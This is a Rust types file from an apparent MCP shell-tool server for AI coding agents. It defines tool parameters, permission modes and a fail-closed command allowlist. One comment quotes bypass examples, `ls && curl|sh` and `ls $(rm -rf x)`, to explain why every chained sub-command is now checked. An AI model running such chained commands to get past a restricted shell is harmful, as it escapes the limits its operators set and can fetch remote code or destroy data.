Skip to main content

winx_code_agent/
types.rs

1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
5const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
6
7pub fn normalize_thread_id(thread_id: &str) -> String {
8    let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
9    if filtered.is_empty() {
10        return filtered;
11    }
12
13    // Filtering can collapse distinct ids ("user-1" and "user1"), and a caller
14    // can otherwise create pathologically long state-file names. Preserve safe,
15    // short ids verbatim; every changed or oversized id receives a stable hash of
16    // the ORIGINAL input and a UTF-8-safe prefix bounded to 96 bytes total.
17    if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
18        return filtered;
19    }
20
21    let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
22    let mut prefix = String::with_capacity(prefix_budget);
23    for character in filtered.chars() {
24        if prefix.len() + character.len_utf8() > prefix_budget {
25            break;
26        }
27        prefix.push(character);
28    }
29    format!("{prefix}_{:08x}", fnv1a_32(thread_id))
30}
31
32/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
33/// interactive TUI without a hand-written recognizer. Loaded from the
34/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
35/// `configurable`. Each marker is matched case-insensitively; an invalid regex
36/// falls back to a literal-substring match.
37#[derive(Debug, Clone, Default, Deserialize)]
38pub struct TurnRecognizerMarkers {
39    /// Screen is actively working (scanned across the whole screen). E.g.
40    /// `["esc to interrupt", "generating"]`.
41    #[serde(default)]
42    pub busy: Vec<String>,
43    /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
44    #[serde(default)]
45    pub awaiting_input: Vec<String>,
46    /// Screen is asking for confirmation (scanned in the tail). E.g.
47    /// `["do you want", "y/n"]`.
48    #[serde(default)]
49    pub awaiting_approval: Vec<String>,
50}
51
52impl TurnRecognizerMarkers {
53    /// True when no markers are configured (nothing to recognize).
54    pub fn is_empty(&self) -> bool {
55        self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
56    }
57}
58
59/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
60/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
61/// resolves to the same session and state file after a server restart.
62fn fnv1a_32(s: &str) -> u32 {
63    let mut hash: u32 = 0x811c_9dc5;
64    for byte in s.bytes() {
65        hash ^= u32::from(byte);
66        hash = hash.wrapping_mul(0x0100_0193);
67    }
68    hash
69}
70
71/// Type of shell environment initialization
72///
73/// This enum represents the different ways the Initialize tool can be called,
74/// depending on the current state of the conversation and what the user is requesting.
75#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
76#[serde(rename_all = "snake_case")]
77pub enum InitializeType {
78    /// Initial call at the start of a conversation
79    ///
80    /// This should be used for the first Initialize call in a conversation.
81    /// It sets up a new shell environment with the specified parameters.
82    FirstCall,
83
84    /// User requested to change the mode
85    ///
86    /// This should be used when the user asks to switch between modes
87    /// (e.g., from "wcgw" to "architect" or "`code_writer`").
88    UserAskedModeChange,
89
90    /// Reset the shell environment due to issues
91    ///
92    /// This should be used only after `BashCommand` reports a shell-runtime failure.
93    /// A repeated reset inside the recovery cooldown preserves the current PTY
94    /// unless a new runtime failure was observed.
95    ResetShell,
96
97    /// User requested to change the workspace
98    ///
99    /// This should be used when the user asks to switch to a different
100    /// workspace or project directory during the conversation.
101    UserAskedChangeWorkspace,
102}
103
104#[derive(Debug, Clone, PartialEq)]
105pub enum ModeName {
106    Wcgw,
107    Architect,
108    CodeWriter,
109}
110
111// Custom serializer implementation to ensure values are properly quoted in JSON
112impl Serialize for ModeName {
113    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
114    where
115        S: serde::Serializer,
116    {
117        match self {
118            ModeName::Wcgw => serializer.serialize_str("wcgw"),
119            ModeName::Architect => serializer.serialize_str("architect"),
120            ModeName::CodeWriter => serializer.serialize_str("code_writer"),
121        }
122    }
123}
124
125// Custom deserializer to support multiple aliases
126impl<'de> Deserialize<'de> for ModeName {
127    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
128    where
129        D: serde::Deserializer<'de>,
130    {
131        let s = String::deserialize(deserializer)?;
132        match s.as_str() {
133            "wcgw" => Ok(ModeName::Wcgw),
134            "architect" => Ok(ModeName::Architect),
135            "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
136            _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
137        }
138    }
139}
140
141// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
142// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
143// `#/definitions/ModeName`, a node that was never populated. Lenient clients
144// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
145// likely ChatGPT) reject the whole tool call: "Reference not found:
146// #/definitions/ModeName". The variants mirror the Serialize impl above.
147impl JsonSchema for ModeName {
148    fn schema_name() -> std::borrow::Cow<'static, str> {
149        "ModeName".into()
150    }
151
152    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
153        schemars::json_schema!({
154            "type": "string",
155            "enum": ["wcgw", "architect", "code_writer"],
156            "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
157        })
158    }
159}
160
161#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
162pub struct CodeWriterConfig {
163    #[serde(default)]
164    pub allowed_globs: AllowedGlobs,
165    #[serde(default)]
166    pub allowed_commands: AllowedCommands,
167}
168
169impl CodeWriterConfig {
170    pub fn update_relative_globs(&mut self, workspace_root: &str) {
171        // Only process if we have a list of globs
172        if let AllowedGlobs::List(globs) = &self.allowed_globs {
173            let updated_globs = globs
174                .iter()
175                .map(|glob| {
176                    if std::path::Path::new(glob).is_absolute() {
177                        glob.clone()
178                    } else {
179                        format!("{workspace_root}/{glob}")
180                    }
181                })
182                .collect();
183
184            self.allowed_globs = AllowedGlobs::List(updated_globs);
185        }
186    }
187}
188
189#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
190#[serde(untagged)]
191pub enum AllowedGlobs {
192    All(String),
193    List(Vec<String>),
194}
195
196impl Default for AllowedGlobs {
197    fn default() -> Self {
198        AllowedGlobs::All("all".to_string())
199    }
200}
201
202impl AllowedGlobs {
203    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
204    /// Without this, a literal glob named "all" would be the only allowed path.
205    pub fn normalize(&mut self) {
206        if let AllowedGlobs::List(items) = self {
207            if items.len() == 1 && items[0] == "all" {
208                *self = AllowedGlobs::All("all".to_string());
209            }
210        }
211    }
212
213    #[allow(dead_code)]
214    pub fn is_allowed(&self, path: &str) -> bool {
215        match self {
216            AllowedGlobs::All(s) if s == "all" => true,
217            AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
218                Ok(pattern) => pattern.matches(path),
219                Err(_) => false,
220            }),
221            AllowedGlobs::All(_) => false,
222        }
223    }
224}
225
226#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
227#[serde(untagged)]
228pub enum AllowedCommands {
229    All(String),
230    List(Vec<String>),
231}
232
233impl Default for AllowedCommands {
234    fn default() -> Self {
235        AllowedCommands::All("all".to_string())
236    }
237}
238
239impl AllowedCommands {
240    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
241    pub fn normalize(&mut self) {
242        if let AllowedCommands::List(items) = self {
243            if items.len() == 1 && items[0] == "all" {
244                *self = AllowedCommands::All("all".to_string());
245            }
246        }
247    }
248
249    pub fn is_allowed(&self, command_line: &str) -> bool {
250        match self {
251            AllowedCommands::All(s) if s == "all" => true,
252            AllowedCommands::All(_) => false,
253            AllowedCommands::List(commands) => {
254                // Enforce the allowlist against EVERY command the line would run
255                // (pipelines, &&/||/;, command & process substitution, subshells),
256                // not just the first whitespace token — which `ls && curl|sh` and
257                // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
258                // closed: a restricted mode must not run what it can't vet.
259                match crate::utils::bash_parser::extract_command_texts(command_line) {
260                    Ok(cmds) if !cmds.is_empty() => cmds
261                        .iter()
262                        .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
263                    _ => false,
264                }
265            }
266        }
267    }
268}
269
270/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
271/// enforcing a word boundary so `ls` does not also permit `lsof`, and
272/// `cargo test` does not permit `cargo testimony`.
273fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
274    let cmd = cmd.trim();
275    let allowed = allowed.trim();
276    if allowed.is_empty() {
277        return false;
278    }
279    cmd == allowed
280        || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
281}
282
283/// Parameters for initializing the shell environment
284///
285/// This struct represents the parameters needed to initialize or update the shell environment.
286/// It is used by the Initialize tool, which must be called before any other shell tools.
287#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
288pub struct Initialize {
289    /// Initialization type, indicating the purpose of the call
290    ///
291    /// - `FirstCall`: Initial setup for a new conversation
292    /// - `UserAskedModeChange`: User requested to change the mode during a conversation
293    /// - `ResetShell`: Reset the shell if it's not working properly
294    /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
295    #[serde(rename = "type")]
296    #[serde(default = "default_init_type")]
297    pub init_type: InitializeType,
298
299    /// Path to the workspace directory or file
300    ///
301    /// Local transports accept an absolute path or one relative to the current directory.
302    /// Remote HTTP sessions require an absolute path so the project identity is unambiguous.
303    /// If it's a file, the parent directory will be used as the workspace.
304    /// If it doesn't exist and is an absolute path, it will be created.
305    /// If it's a relative path and doesn't exist, an error will be returned.
306    pub any_workspace_path: String,
307
308    /// List of files to read initially
309    ///
310    /// These files can be absolute paths or paths relative to the workspace.
311    /// They will be read and their contents provided in the response.
312    #[serde(default)]
313    pub initial_files_to_read: Vec<String>,
314
315    /// ID of a task to resume
316    ///
317    /// If provided during a `first_call`, the task with this ID will be resumed.
318    /// This allows continuing a conversation from a previous session.
319    #[serde(default = "String::new")]
320    #[serde(deserialize_with = "deserialize_string_or_null")]
321    pub task_id_to_resume: String,
322
323    /// Mode name for the shell environment
324    ///
325    /// - `wcgw`: Full permissions (default)
326    /// - `architect`: Restricted permissions, read-only
327    /// - `code_writer`: Custom permissions for code writing
328    #[serde(default = "default_mode_name")]
329    pub mode_name: ModeName,
330
331    /// ID of the thread session
332    ///
333    /// If not provided for a `first_call`, a new ID will be generated.
334    /// This ID must be included in all subsequent tool calls.
335    #[serde(default)]
336    #[serde(deserialize_with = "deserialize_string_or_null")]
337    pub thread_id: String,
338
339    /// Configuration for `code_writer` mode
340    ///
341    /// Only used when `mode_name` is "`code_writer`".
342    /// Specifies allowed commands and file globs for writing/editing.
343    #[serde(default)]
344    #[serde(deserialize_with = "deserialize_code_writer_config")]
345    pub code_writer_config: Option<CodeWriterConfig>,
346}
347
348// Custom deserializer for strings that might be null
349fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
350where
351    D: serde::Deserializer<'de>,
352{
353    // First try to deserialize as a string
354    let result = serde_json::Value::deserialize(deserializer)?;
355
356    match result {
357        // Return empty string for null values
358        serde_json::Value::Null => Ok(String::new()),
359        // If it's a string, use that
360        serde_json::Value::String(s) => {
361            // Handle "null" string specially
362            if s == "null" {
363                Ok(String::new())
364            } else {
365                Ok(s)
366            }
367        }
368        // Otherwise try to convert to a string
369        _ => match serde_json::to_string(&result) {
370            Ok(s) => Ok(s),
371            Err(_) => Ok(String::new()),
372        },
373    }
374}
375
376// Custom deserializer for code_writer_config that handles the "null" string case
377fn deserialize_code_writer_config<'de, D>(
378    deserializer: D,
379) -> Result<Option<CodeWriterConfig>, D::Error>
380where
381    D: serde::Deserializer<'de>,
382{
383    // This handles multiple possible input types
384    let value = serde_json::Value::deserialize(deserializer)?;
385
386    match value {
387        // If it's explicitly null or the string "null", return None
388        serde_json::Value::Null => Ok(None),
389        serde_json::Value::String(s) if s == "null" => Ok(None),
390        // Otherwise try to parse it as CodeWriterConfig
391        _ => {
392            match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
393                Ok(config) => {
394                    tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
395                    Ok(Some(config))
396                }
397                Err(e) => {
398                    // Fail loud. A malformed restricted-mode config must NOT silently
399                    // degrade to `None` — `None` falls back to All commands / All globs,
400                    // so the model would believe the shell is locked down while it is in
401                    // fact wide open. Refuse to initialize instead.
402                    tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
403                    Err(serde::de::Error::custom(format!(
404                        "Invalid code_writer config: {e}. Refusing to start with a permissive \
405                         fallback — fix the allowed_commands / allowed_globs shape (or pass null \
406                         to opt out explicitly)."
407                    )))
408                }
409            }
410        }
411    }
412}
413
414/// Default `mode_name` for Initialize
415fn default_mode_name() -> ModeName {
416    ModeName::Wcgw
417}
418
419/// Default `init_type` for Initialize
420fn default_init_type() -> InitializeType {
421    InitializeType::FirstCall
422}
423
424// Mode types
425#[derive(Debug, Clone, Copy, PartialEq)]
426pub enum Modes {
427    Wcgw,
428    Architect,
429    CodeWriter,
430}
431
432/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
433/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
434/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
435/// variant maps to a `Modes` one — adding a variant to either enum without the
436/// other becomes a compile error here.
437impl From<&ModeName> for Modes {
438    fn from(name: &ModeName) -> Self {
439        match name {
440            ModeName::Wcgw => Modes::Wcgw,
441            ModeName::Architect => Modes::Architect,
442            ModeName::CodeWriter => Modes::CodeWriter,
443        }
444    }
445}
446
447impl std::fmt::Display for Modes {
448    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
449        match self {
450            Modes::Wcgw => write!(f, "wcgw"),
451            Modes::Architect => write!(f, "architect"),
452            Modes::CodeWriter => write!(f, "code_writer"),
453        }
454    }
455}
456
457// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
458// `#/definitions/Modes` was dangling and breaks strict MCP clients.
459impl JsonSchema for Modes {
460    fn schema_name() -> std::borrow::Cow<'static, str> {
461        "Modes".into()
462    }
463
464    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
465        schemars::json_schema!({
466            "type": "string",
467            "enum": ["wcgw", "architect", "code_writer"]
468        })
469    }
470}
471
472/// Special key types for shell interaction
473/// Matches wcgw Python's Specials enum exactly
474#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
475pub enum SpecialKey {
476    Enter,
477    #[serde(rename = "Key-up")]
478    KeyUp,
479    #[serde(rename = "Key-down")]
480    KeyDown,
481    #[serde(rename = "Key-left")]
482    KeyLeft,
483    #[serde(rename = "Key-right")]
484    KeyRight,
485    #[serde(rename = "Ctrl-c")]
486    CtrlC,
487    #[serde(rename = "Ctrl-d")]
488    CtrlD,
489    #[serde(rename = "Ctrl-z")]
490    CtrlZ,
491}
492
493/// Parameters for the `ReadFiles` tool
494///
495/// This struct represents the parameters needed to read one or more files.
496/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
497#[derive(Debug, Clone, Serialize, JsonSchema)]
498pub struct ReadFiles {
499    /// List of file paths to read.
500    /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
501    /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
502    pub file_paths: Vec<String>,
503
504    /// Optional thread ID identifying the shell session to operate on. When
505    /// omitted, the most recently active session is used.
506    #[serde(default)]
507    pub thread_id: String,
508
509    // Internal fields - not part of MCP schema (parsed from file_paths)
510    #[serde(skip)]
511    #[schemars(skip)]
512    pub start_line_nums: Vec<Option<usize>>,
513
514    #[serde(skip)]
515    #[schemars(skip)]
516    pub end_line_nums: Vec<Option<usize>>,
517}
518
519// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
520impl<'de> Deserialize<'de> for ReadFiles {
521    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
522    where
523        D: serde::Deserializer<'de>,
524    {
525        #[derive(Deserialize)]
526        struct ReadFilesHelper {
527            file_paths: Option<Vec<String>>,
528            #[serde(default)]
529            thread_id: Option<String>,
530        }
531
532        let input = serde_json::Value::deserialize(deserializer)?;
533
534        if !input.is_object() {
535            if input.is_null() {
536                return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
537            }
538            return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
539        }
540
541        let helper: ReadFilesHelper = serde_json::from_value(input)
542            .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
543
544        let thread_id = helper.thread_id.unwrap_or_default();
545        let file_paths = match helper.file_paths {
546            Some(paths) if !paths.is_empty() => paths,
547            Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
548            None => return Err(serde::de::Error::custom("file_paths is required.")),
549        };
550
551        // Parse line ranges from file paths (like wcgw Python's model_post_init)
552        let mut clean_file_paths = Vec::with_capacity(file_paths.len());
553        let mut start_line_nums = Vec::with_capacity(file_paths.len());
554        let mut end_line_nums = Vec::with_capacity(file_paths.len());
555
556        for path in file_paths {
557            let (clean_path, start, end) = parse_file_path_with_line_range(&path);
558            clean_file_paths.push(clean_path);
559            start_line_nums.push(start);
560            end_line_nums.push(end);
561        }
562
563        Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
564    }
565}
566
567fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
568    let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
569        return (path.to_string(), None, None);
570    };
571
572    let Some((start, end)) = parse_line_spec(line_spec) else {
573        return (path.to_string(), None, None);
574    };
575
576    (potential_path.to_string(), start, end)
577}
578
579fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
580    if line_spec.chars().all(|c| c.is_ascii_digit()) {
581        return line_spec.parse().ok().map(|line| (Some(line), None));
582    }
583
584    let (start, end) = line_spec.split_once('-')?;
585
586    if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
587        return end.parse().ok().map(|line| (None, Some(line)));
588    }
589
590    if !start.is_empty()
591        && start.chars().all(|c| c.is_ascii_digit())
592        && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
593    {
594        let start = start.parse().ok()?;
595        let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
596        return Some((Some(start), end));
597    }
598
599    None
600}
601
602impl ReadFiles {
603    /// Line numbers are always shown (like wcgw Python)
604    pub fn show_line_numbers(&self) -> bool {
605        true
606    }
607
608    /// Get the clean file path without line range suffix
609    pub fn get_clean_path(&self, index: usize) -> String {
610        parse_file_path_with_line_range(&self.file_paths[index]).0
611    }
612}
613
614/// Default true value for `status_check`
615fn default_true() -> bool {
616    true
617}
618
619/// Types of actions that can be performed with the `BashCommand` tool
620#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
621#[serde(tag = "type", rename_all = "snake_case")]
622pub enum BashCommandAction {
623    /// Execute a shell command
624    Command {
625        command: String,
626        #[serde(default)]
627        is_background: bool,
628        /// Opt out of the single-top-level-statement guard. By default winx
629        /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
630        /// agent has to be explicit about what it's running. Set this to true
631        /// when you knowingly want to run a composite command without
632        /// wrapping it in `bash -lc '...'`.
633        #[serde(default)]
634        allow_multi: bool,
635    },
636
637    /// Check the status of a running command.
638    ///
639    /// By default returns only what changed since the previous call — agents
640    /// driving long-lived TUIs do not need the cumulative buffer on every poll.
641    /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
642    /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
643    /// the PTY ringbuffer.
644    StatusCheck {
645        #[serde(default = "default_true")]
646        status_check: bool,
647        bg_command_id: Option<String>,
648        #[serde(default)]
649        scrollback_lines: Option<usize>,
650        #[serde(default)]
651        verbose: bool,
652    },
653
654    /// Send text to a running command. Set `submit` to true to append a carriage
655    /// return after the bytes so the target program receives the input as a
656    /// completed line (matches what hitting Enter would do in a TUI).
657    SendText {
658        /// Text to type into the running program. Must be non-empty: to press
659        /// Enter alone, use `send_specials: ["Enter"]` instead.
660        #[schemars(length(min = 1))]
661        send_text: String,
662        bg_command_id: Option<String>,
663        #[serde(default)]
664        submit: bool,
665    },
666
667    /// Send special keys to a running command. `submit` works the same as in
668    /// `SendText`.
669    SendSpecials {
670        send_specials: Vec<SpecialKey>,
671        bg_command_id: Option<String>,
672        #[serde(default)]
673        submit: bool,
674    },
675
676    /// Send ASCII characters to a running command. `submit` works the same as in
677    /// `SendText`.
678    SendAscii {
679        send_ascii: Vec<u8>,
680        bg_command_id: Option<String>,
681        #[serde(default)]
682        submit: bool,
683    },
684
685    /// Snapshot the live, stable screen of a shell's terminal: the consolidated
686    /// view a human would see right now (cursor moves, redraws, alternate-screen
687    /// and synchronized-output already applied), ANSI stripped. Unlike
688    /// `status_check`, it never stacks redraw generations and never waits — a
689    /// point-in-time photo, ideal for reading an interactive TUI's current frame
690    /// (the `claude` CLI, vim, htop, fzf).
691    Screen {
692        #[serde(default = "default_true")]
693        screen: bool,
694        bg_command_id: Option<String>,
695        /// Last N visible lines to return (0 or omitted = full screen buffer).
696        #[serde(default)]
697        lines: Option<usize>,
698        /// When true, return only the lines that CHANGED since the last `screen`
699        /// look (big token savings when polling a TUI frame-by-frame) instead of
700        /// the whole frame. First look, or a large change, still returns full.
701        #[serde(default)]
702        diff: bool,
703    },
704
705    /// Block until an interactive TUI finishes its turn and is ready for input.
706    /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
707    /// with a per-app recognizer, then returns the stable snapshot plus the
708    /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
709    WaitForTurn {
710        #[serde(default = "default_true")]
711        wait_for_turn: bool,
712        bg_command_id: Option<String>,
713        /// Recognizer hint: `auto` (default, claude+codex), `generic`, or any
714        /// bundled agent-manifest id/alias — `claude`, `codex`, `gemini`,
715        /// `antigravity` (aka `agy`), `cursor`, `opencode`, `copilot`, `grok`,
716        /// `amp`, `droid`, `kimi`, `pi`, `qwen`, and more.
717        #[serde(default)]
718        recognizer: Option<String>,
719        /// Quiet window in ms — the screen must be unchanged this long to count
720        /// as idle (default 600).
721        #[serde(default)]
722        quiet_ms: Option<u64>,
723        /// Hard cap in seconds before returning regardless (default 30).
724        #[serde(default)]
725        timeout_seconds: Option<f32>,
726        /// Visible lines to return in the final snapshot (0 or omitted = full).
727        #[serde(default)]
728        lines: Option<usize>,
729        /// By default `wait_for_turn` returns as soon as it confirms the app is
730        /// actively working (`busy`), instead of blocking until the turn ends or
731        /// `timeout_seconds` elapses — so a long-running child never pins the
732        /// caller for the whole cap (poll again to keep watching). Set this to
733        /// true for the old behavior: block *through* `busy` until the app is
734        /// ready for input (or the timeout fires).
735        #[serde(default)]
736        wait_through_busy: bool,
737    },
738}
739
740/// Parameters for the `BashCommand` tool
741#[derive(Debug, Clone, Copy, Default, Eq, PartialEq, Serialize, Deserialize, JsonSchema)]
742#[serde(rename_all = "snake_case")]
743pub enum BashWaitPolicy {
744    /// Wait for a bounded inline window. Task-capable clients keep short calls
745    /// inline and promote a command only after the runtime reports it running.
746    #[default]
747    Adaptive,
748    /// Always return the runtime state after a short bounded wait. This policy
749    /// never creates an MCP Task.
750    ReturnEarly,
751    /// Prefer one result after the command exits. Task-capable clients receive
752    /// an MCP Task immediately; other clients receive a bounded synchronous wait.
753    UntilComplete,
754}
755
756/// Parameters for the `BashCommand` tool
757#[derive(Debug, Clone, Serialize, JsonSchema)]
758pub struct BashCommand {
759    /// The action to perform (command, status check, etc.)
760    pub action_json: BashCommandAction,
761
762    /// Requested inline wait in seconds. With the default adaptive policy this
763    /// defaults to 15 without Tasks and is capped to the short promotion window
764    /// with Tasks; `return_early` caps it at 5; the synchronous `until_complete`
765    /// fallback uses 60. Runtime waits never exceed the selected policy's cap.
766    #[serde(default)]
767    #[serde(skip_serializing_if = "Option::is_none")]
768    pub wait_for_seconds: Option<f32>,
769
770    /// The thread ID for this session
771    #[serde(default)]
772    pub thread_id: String,
773}
774
775// Custom deserialization for BashCommand to handle string-encoded action_json
776impl<'de> Deserialize<'de> for BashCommand {
777    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
778    where
779        D: serde::Deserializer<'de>,
780    {
781        let input = serde_json::Value::deserialize(deserializer)?;
782        let serde_json::Value::Object(mut map) = input else {
783            return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
784        };
785
786        let wait_for_seconds = map
787            .remove("wait_for_seconds")
788            .map(serde_json::from_value)
789            .transpose()
790            .map_err(serde::de::Error::custom)?;
791        // `wait_policy` is an MCP adapter concern rather than stored command
792        // state. Validate it here for direct deserializers, then keep the public
793        // `BashCommand` shape source-compatible for library callers.
794        map.remove("wait_policy")
795            .map(serde_json::from_value::<BashWaitPolicy>)
796            .transpose()
797            .map_err(serde::de::Error::custom)?;
798        let thread_id = map
799            .remove("thread_id")
800            .map(thread_id_from_value)
801            .transpose()
802            .map_err(serde::de::Error::custom)?
803            .unwrap_or_default();
804        let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
805
806        // Process action_json which could be a string or an object
807        let action_json = match action_json_value {
808            serde_json::Value::String(s) => {
809                // If it's a string, normalize newlines and try to parse it as JSON
810                // Replace literal newlines with space to avoid JSON parsing errors
811                let sanitized = s.replace('\n', " ");
812                match serde_json::from_str(&sanitized) {
813                    Ok(json) => normalize_action_json(json),
814                    Err(e) => {
815                        // If strict JSON parsing fails, try to be more lenient
816                        // For commands containing literal newlines, just wrap the string in a command object
817                        tracing::warn!(
818                            "Failed to parse action_json as JSON, trying fallback: {}",
819                            e
820                        );
821
822                        // Check for common JSON syntax issues
823                        if s.contains("command") && s.contains('{') && s.contains('}') {
824                            // It looks like JSON but has issues, let's try to sanitize it
825
826                            // Detailed error for troubleshooting
827                            tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
828
829                            // Common issues: unescaped quotes, newlines, tabs
830                            let re_sanitized = s
831                                .replace('\n', "\\n") // Replace newlines with escaped newlines
832                                .replace('\r', "\\r") // Replace carriage returns with escaped versions
833                                .replace('\t', "\\t"); // Replace tabs with escaped versions
834
835                            // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
836                            let re_sanitized = if !s.contains('"') && s.contains(':') {
837                                // Very likely unquoted keys/values
838                                tracing::debug!("Attempting to fix unquoted JSON keys/values");
839                                re_sanitized
840                            } else {
841                                re_sanitized
842                            };
843
844                            match serde_json::from_str(&re_sanitized) {
845                                Ok(json) => normalize_action_json(json),
846                                Err(err) => {
847                                    // Log the specific parsing error for debugging
848                                    tracing::error!("Secondary JSON parse error: {}", err);
849                                    // Last resort fallback - assume it's a command string
850                                    // MUST include "type": "command" for serde tagged enum
851                                    serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
852                                }
853                            }
854                        } else {
855                            // Assume it's a simple command string
856                            // MUST include "type": "command" for serde tagged enum
857                            tracing::info!(
858                                bytes = s.len(),
859                                "Treating action_json as simple command"
860                            );
861                            serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
862                        }
863                    }
864                }
865            }
866            // If it's already an object or other JSON value, normalize legacy
867            // WCGW-style shorthand such as {"command": "..."}.
868            value => normalize_action_json(value),
869        };
870
871        // Now deserialize the action_json to our BashCommandAction enum
872        let action: BashCommandAction =
873            serde_json::from_value(action_json.clone()).map_err(|e| {
874                tracing::error!(
875                    bytes = action_json.to_string().len(),
876                    "Failed to deserialize action_json to BashCommandAction: {}",
877                    e
878                );
879
880                // For the SyntaxError: Unexpected token case
881                let err_str = e.to_string();
882                if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
883                    return serde::de::Error::custom(format!(
884                        "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
885                    ));
886                }
887
888                serde::de::Error::custom(format!(
889                    "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
890                ))
891            })?;
892
893        // Return the properly constructed BashCommand
894        Ok(BashCommand {
895            action_json: action,
896            wait_for_seconds,
897            thread_id: normalize_thread_id(&thread_id),
898        })
899    }
900}
901
902fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
903    match value {
904        serde_json::Value::Null => Ok(String::new()),
905        serde_json::Value::String(value) => Ok(value),
906        other => Err(format!("thread_id must be a string or null, got {other}")),
907    }
908}
909
910fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
911    let serde_json::Value::Object(map) = &mut value else {
912        return value;
913    };
914
915    if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
916        *command = sanitize_shell_string(command);
917    }
918
919    if map.contains_key("type") {
920        return value;
921    }
922
923    let inferred_type = if map.contains_key("command") {
924        Some("command")
925    } else if map.contains_key("status_check") {
926        Some("status_check")
927    } else if map.contains_key("send_text") {
928        Some("send_text")
929    } else if map.contains_key("send_specials") {
930        Some("send_specials")
931    } else if map.contains_key("send_ascii") {
932        Some("send_ascii")
933    } else if map.contains_key("screen") {
934        Some("screen")
935    } else if map.contains_key("wait_for_turn") {
936        Some("wait_for_turn")
937    } else {
938        None
939    };
940
941    if let Some(action_type) = inferred_type {
942        map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
943    }
944
945    value
946}
947
948fn sanitize_shell_string(value: &str) -> String {
949    value.replace('\0', "\\x00")
950}
951
952// Bash command mode
